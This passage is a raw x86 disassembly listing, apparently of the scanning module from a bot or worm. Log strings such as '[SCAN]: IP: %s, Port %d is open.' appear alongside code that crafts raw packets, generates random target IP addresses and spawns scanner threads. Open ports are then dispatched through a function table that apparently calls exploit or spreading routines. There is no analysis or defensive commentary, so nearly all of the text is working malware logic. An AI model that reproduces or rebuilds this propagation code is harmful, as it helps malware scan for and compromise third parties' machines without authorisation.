loc_4231C4 push offset aB ; " -b" mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4231A5: ; CODE XREF: sub_422A40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 loc_4231BD: ; CODE XREF: sub_422A40+132j mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_4231C4: ; CODE XREF: sub_422A40+735j ; sub_422A40+745j ... mov ecx, dword_4D60CD lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset off_444580 mov ecx, esi call sub_4013E3 mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax call near ptr 77C47A90h nop add esp, 0Ch mov ecx, esi push offset dword_444584 call sub_4013E3 test eax, eax jz short loc_42328B push offset off_444580 mov ecx, esi call sub_4013E3 mov ebp, dword_50FA90 mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42327E loc_423262: ; CODE XREF: sub_422A40+83Cj test eax, eax jz short loc_42327E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423262 loc_42327E: ; CODE XREF: sub_422A40+820j ; sub_422A40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423296 ; --------------------------------------------------------------------------- loc_42328B: ; CODE XREF: sub_422A40+7F1j mov [esp+7A0h+var_630], 0 loc_423296: ; CODE XREF: sub_422A40+722j ; sub_422A40+849j mov edx, dword_4D60CD xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017E4 push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4232F8 mov eax, offset aSequential ; "sequential" loc_4232F8: ; CODE XREF: sub_422A40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44442Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BD6 add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402261 mov al, 1 jmp loc_422E3B sub_422A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4235F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_446F70 mov ecx, offset dword_447998 setnz bl call sub_4014D3 push eax push ebx push ebx push offset byte_4D60B5 call sub_401848 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_444450[eax*4] inc ecx mov dword_444450[eax*4], ecx mov al, 1 retn sub_4235F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423660 proc near ; CODE XREF: sub_401DF7j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h call near ptr 71AB951Eh nop mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50DAE8 nop call sub_5EDAB2 mov eax, offset dword_50DAE8 add esp, 2Ch retn sub_423660 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423720 proc near ; CODE XREF: sub_401F37j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50BB90[esi*8] push eax nop call near ptr 71AB2BC0h inc eax push eax call near ptr 71AB2BC0h nop mov dword_50BB90[esi*8], eax pop esi retn sub_423720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423792 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423792: ; CODE XREF: sub_423760+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_50FABC add esp, 18h cmp eax, ebx jnz short loc_4237CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4237CA: ; CODE XREF: sub_423760+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4237D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4237D6: ; CODE XREF: sub_423760+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4237E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4237E2: ; CODE XREF: sub_423760+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4237EC call esi ; rand loc_4237EC: ; CODE XREF: sub_423760+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50BB90[ecx*8], eax pop ebx add esp, 10h retn sub_423760 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423850 proc near ; CODE XREF: sub_401E38j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42387E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42387E: ; CODE XREF: sub_423850+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call near ptr 71AB2DC0h nop push esi mov edi, eax call near ptr 71AB9639h nop xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423940: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_436840 push ebx push ebp mov ebp, dword_50FC2C push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A28 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423A69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423B68 ; --------------------------------------------------------------------------- loc_423A69: ; CODE XREF: ___:00423A5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi call near ptr 71AB2C69h nop mov edi, eax cmp edi, 14h jz short loc_423AC2 call near ptr 71AB94DCh nop push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5EDAB2 lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423AC2: ; CODE XREF: ___:00423A87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423B13 mov edi, dword_50FC58 loc_423AEA: ; CODE XREF: ___:00423B11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423B42 cmp [esp+0FEh], bp jnz short loc_423AEA loc_423B13: ; CODE XREF: ___:00423AE2j push esi call near ptr 71AB9639h nop cmp word ptr [esp+10Eh], 1 jnz short loc_423B63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B42: ; CODE XREF: ___:00423B07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B63: ; CODE XREF: ___:00423B23j push offset dword_44467C loc_423B68: ; CODE XREF: ___:00423A64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423C10: ; CODE XREF: ___:loc_401F23j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 nop call near ptr 27E08A6h push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:448FCBh[eax*4] mov eax, dword_4491CF[eax*4] mov ecx, dword_50BB94[eax*8] test ecx, ecx jz loc_423EC4 mov ebx, off_50FBF0 loc_423C8C: ; CODE XREF: ___:00423EBAj mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423CA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423CAF ; --------------------------------------------------------------------------- loc_423CA7: ; CODE XREF: ___:00423C96j call sub_401F37 add esp, 4 loc_423CAF: ; CODE XREF: ___:00423CA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_50FC78 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5EDAB2 add esp, 18h lea ecx, [esp+220h] push ecx push ebp call ebx ; sub_5EDAB2 mov edx, [esp+138h] mov eax, [esp+134h] push edx push eax push esi call sub_401E38 add esp, 14h cmp eax, 1 jnz loc_423EA0 cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423DC2 push offset dword_50DAD0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5EDAB2 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423DA2 mov al, [esp+0A8h] test al, al jz short loc_423D7D mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423D9A ; --------------------------------------------------------------------------- loc_423D7D: ; CODE XREF: ___:00423D59j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423D9A: ; CODE XREF: ___:00423D7Bj call sub_401523 add esp, 10h loc_423DA2: ; CODE XREF: ___:00423D4Ej lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50DAD0 nop call near ptr 7C9010EDh jmp loc_423EA0 ; --------------------------------------------------------------------------- loc_423DC2: ; CODE XREF: ___:00423D16j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5EDAB2 mov eax, [esp+150h] add esp, 8 lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+1F8h] lea edx, ds:444420h[ecx*4] push edx push eax call ebx ; sub_5EDAB2 mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_423E12 lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423E1F ; --------------------------------------------------------------------------- loc_423E12: ; CODE XREF: ___:00423DFEj lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423E1F: ; CODE XREF: ___:00423E10j call ebx ; sub_5EDAB2 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44444C[edx*4] add esp, 0BCh loc_423EA0: ; CODE XREF: ___:00423D08j ; ___:00423DBDj push 7D0h nop call near ptr 28302E5h mov eax, [ebp+204h] mov ecx, dword_50BB94[eax*8] test ecx, ecx jnz loc_423C8C mov esi, [esp+10h] loc_423EC4: ; CODE XREF: ___:00423C80j push esi call sub_401E24 add esp, 4 push 0 nop call near ptr 28304B8h nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_402261j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50BB90[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_401483 add esp, 150h cmp eax, ebx jnz short loc_424021 push offset dword_50DAD0 nop call near ptr 2770000h push offset dword_50DAD0 nop call near ptr 277073Bh loc_424021: ; CODE XREF: ___:00424009j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_50F8D0 mov esi, ebx mov dword_50BB94[edx*8], ebx cmp eax, ebx mov ebx, off_50FBF0 jb loc_424150 mov edi, dword_50F860 loc_424052: ; CODE XREF: ___:0042414Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5EDAB2 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BD6 lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F23 push 0 push 0 mov dword_4491CF[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_4491DF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_4491DF[eax*4] test ecx, ecx jz short loc_424118 mov eax, [esp+158h] test eax, eax jnz short loc_42413E loc_424107: ; CODE XREF: ___:00424114j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_424107 jmp short loc_42413E ; --------------------------------------------------------------------------- loc_424118: ; CODE XREF: ___:004240FAj nop call near ptr 27B0836h push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5EDAB2 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42413E: ; CODE XREF: ___:00424105j ; ___:00424116j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424052 loc_424150: ; CODE XREF: ___:00424046j mov eax, [esp+12Ch] test eax, eax jz short loc_42417E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_4241B1 ; --------------------------------------------------------------------------- loc_42417E: ; CODE XREF: ___:00424159j mov ecx, [esp+130h] mov esi, 1 cmp dword_50BB94[ecx*8], esi jnz short loc_4241B1 loc_424193: ; CODE XREF: ___:004241A8j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50BB94[edx*8], esi jz short loc_424193 mov eax, [esp+12Ch] loc_4241B1: ; CODE XREF: ___:0042417Cj ; ___:00424191j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50BB90[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5EDAB2 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_424212 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_401523 add esp, 10h loc_424212: ; CODE XREF: ___:004241EBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50BB94[eax*8], 0 call ebp push 3 call sub_401483 add esp, 4 cmp eax, esi jnz short loc_424254 push offset dword_50DAD0 nop call near ptr 2770000h loc_424254: ; CODE XREF: ___:00424247j mov ecx, [esp+130h] push ecx call sub_401E24 add esp, 4 push 0 call near ptr 28304B8h nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424330 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424330 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424350: ; CODE XREF: ___:004015E1j mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401834 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4243A0 proc near ; CODE XREF: sub_401834j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4243F2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4243F2: ; CODE XREF: sub_4243A0+16j mov eax, ebx pop ebp pop ebx retn 8 sub_4243A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424420 proc near ; CODE XREF: sub_4021D5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424494 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 ; DATA XREF: sub_580566:loc_5A0180o rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424494: ; CODE XREF: sub_424420+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424420 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4244C0 proc near ; CODE XREF: sub_4016B8j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4244D3 push eax call near ptr 77C2C21Bh nop add esp, 4 loc_4244D3: ; CODE XREF: sub_4244C0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4244C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_424517 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424517: ; CODE XREF: sub_424500+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424545 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424545: ; CODE XREF: sub_424500+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424574 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42458F ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42458F: ; CODE XREF: sub_424500+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_424500 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245F0 proc near ; CODE XREF: sub_401B68j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_446F74 lea ecx, [esp+20h+var_8] call sub_4021D5 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424635 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424635: ; CODE XREF: sub_4245F0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016B8 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016B8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4245F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4246D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424720 proc near ; CODE XREF: sub_402036j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424720 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424760 proc near ; CODE XREF: sub_4014FBj arg_0 = dword ptr 4 